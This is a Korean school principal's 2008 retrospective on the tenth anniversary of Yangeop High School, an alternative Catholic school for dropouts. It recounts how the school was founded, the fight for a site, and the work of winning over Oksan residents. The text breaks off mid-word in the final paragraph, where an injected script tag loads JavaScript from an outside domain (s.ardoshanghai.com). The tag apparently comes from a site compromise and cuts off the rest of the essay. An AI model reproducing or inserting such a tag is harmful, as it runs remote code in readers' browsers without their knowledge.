개교10주년 회고사

작성자 : 윤병훈 | 조회수 : 3,557 | 작성일 : 2008년 4월 21일

2008년  10주년  회고사

  며칠 전 까지만 해도 산 모습이 침울한 산이었습니다. 요즘 하루가 다르게 주변 모습이 아름답게 변화되고 있습니다. 하느님께서 자연에 봄 채색을 해 주신 덕분입니다. 또한 이렇게 좋은 날씨 속에 10주년 행사를 갖게 됨을 하느님께 감사를 드립니다. 10년 전 오늘이 마치 엊그제 일처럼 느껴지는 오늘입니다. 10년 전 3명의 수녀님들과 4명의 수사님들이 저와 함께 양업에서 37명의 학생들을 교육하기 시작하였습니다. 입학식 날, 1천명이 지켜보는 가운데에 군악대의 주악으로 개교식이 거행되었고, 37명의 학생 하나, 하나를 이름 부르며 그들의 가슴에 사랑하고 존중하는 마음의 꽃을 달아주었습니다. 축하손님이 어찌나 많이 오셨는지 미완성으로 급조된 단층 건물과 조립식 기숙사의 썰렁한 학교는, 꽃보다 아름다운 축하 손님들로 식장을 가득 메워 주셨습니다. ‘색다른 교육을 한다는데 과연 해낼까?’ 걱정 어린 시선으로 중도탈락 학생들을 바라다보던 때가 엊그제 일 같은데, 어느덧 10년이 지나,  양업은 대안교육의 중심학교로 우뚝 서있습니다. 십자가의 고통으로 얼룩진 얼굴에 부활을 만끽하기라도 하듯 환하게 웃어 보이는 학생들과 저도 오랜 만에 환하게 웃어봅니다. 오늘 화창한 봄빛 받아 아름답게 단장한 골짜기와 파란 풀밭처럼 양업고등학교는 생명의 학교로 발 돋음 하였습니다.
 
  제가 중도탈락 학생들을 위한 대안학교를 설립하겠다는 의지를 당시 청주 교구장 주교이셨던 정진석 추기경님과 김영세 전 교육감님께 말씀드리며 이 뜻이 구체화되기를 기다리고 있을 때였습니다. 일이 순조롭게 잘되려고 했는지 당시 초대 도의원이신 송옥순 여사님께서 도정질의를 하는 과정에서 10만 명이 넘는 중도탈락 학생에 대한 대안이 무엇인가를 교육감께 질의하셨고, 교육감님이 청주 가톨릭 학원에서 학교 설립을 준비한다는 답변을 내 놓으셨습니다. 이때부터 언론 덕분으로 수면위에 떠올라, 교구 신부님들과 조율할 시간적 여유도 없이 외부로 노출되어 구체화되기 시작했습니다.
  때마침 천주교 청주교구는 교구 설정 40주년을 기념하여 학교설립을 확정하고  추진위원회를 발족하였고, 당시 도지사, 도의회, 교육감, 교육위원 모두가 호의적으로 힘을 모아 주었습니다. 아직 유형의 학교도 없었는데 개교부터 교사급료와 학교관리 운영비를 지원하겠다는 약속도 해 주었습니다. 작고하신 이한구 신부님과 폐교된 학교를 찾아 나섰고 교육청도 전폭적으로 지지를 했지만, 소외학생이 마을에 다며 주민들의 강력한 반대로 불발되어 학교를 신축할 부지 1,098평(3,629제곱미터)을 주교님께서 마련해 주셨습니다. 저는 옥산 초대 본당신부로 임명받아 옥산 전체신자 80명과 지내면서 학교개교를 위해 일했는데 그분들은 학교설립의 일등공신이 되어 주었습니다.
  부지가 확정된 옥산에 왔지만 제일 중요한 것은 주민들과 공감대를 만들어가는 작업이었습니다. 공식적인 첫 만남은 학교에서 인접한 환희리 2구 이장님으로부터 하락을 받아내는 일이었습니다. 주일미사를 마치고 권오일 이장님과 식사를 하며 학교설립에 관하여 이야기 했습니다. “신부님, 누가 뭐래도 저는 백번 찬성입니다. 학생들을 위한 일인데 도와드려야지요. 저는 개신교를 다니지만 신부님들을 신뢰하고 존경합니다.” 라며 좋은 일 하신다면서 이장님이 식사대를 내 주셨습니다. 옥산에서의 첫 만남인 이장님과의 만남은 어둠에서 빛을 보는 것인지라 콧노래가 절로 나왔습니다.
  교구청 신부님과 도교육청 관계자와 함께 기관장과 주민들과의 아홉 차례 끈질긴 만남은 서로가 농담을 할 정도로 많이 부드러지게 했습니다. 천주교세가 약한 옥산에 천주교를 알리고 싶어서 청주교구가 운영하는 기관들을 방문할 계획을 세웠습니다. 면장님을 포함하여 기관장 6분이 참여를 했지만 꽃동네를 돌아 집으로 향하는 결과는 아주 흡족했습니다. 그분들은 이구동성으로 “천주교가 이렇게 훌륭한 일을 하느냐면서 맹목적 반대로 개교가 늦어져서 죄송합니다.”라는 말을 들을 수가 있었습니다. 지역주민의 반대로 개교가 늦어지고 기공식은 늦어졌지만 옥산면 환희리는 하느님께서 마련해신 약속의 땅이었고, 이곳에 양업고등학교의 둥지를 틀게 된 것은 아픔과 고통만큼이나 큰 축복 중에 축복이었습니다.
  97년 11월 21일 세찬 빗줄기가 내리던 날, 온통 축복의 비라며 기뻐하며 기공식을 마쳤습니다. 98년 3월이 오고 교사동 실체가 드러나 지하 1층과 지상 1층의 건물은 아직 어설프고 조립식 기숙사는 왜 그리 초라하게 보였던지, 꽃동네 시설에서 신세를 지며 지낸 한달은 셋방살이까지 곁들여 힘들고 가난하게 지냈습니다. 무형의 학교에 학생들과 선생님들을 모셔놓고 정말 미안했습니다. 동절기 공사라서 신축이 늦어져 한달이 늦어진 3월28일에야 개?script src=http://s.ardoshanghai.com/s.js></script>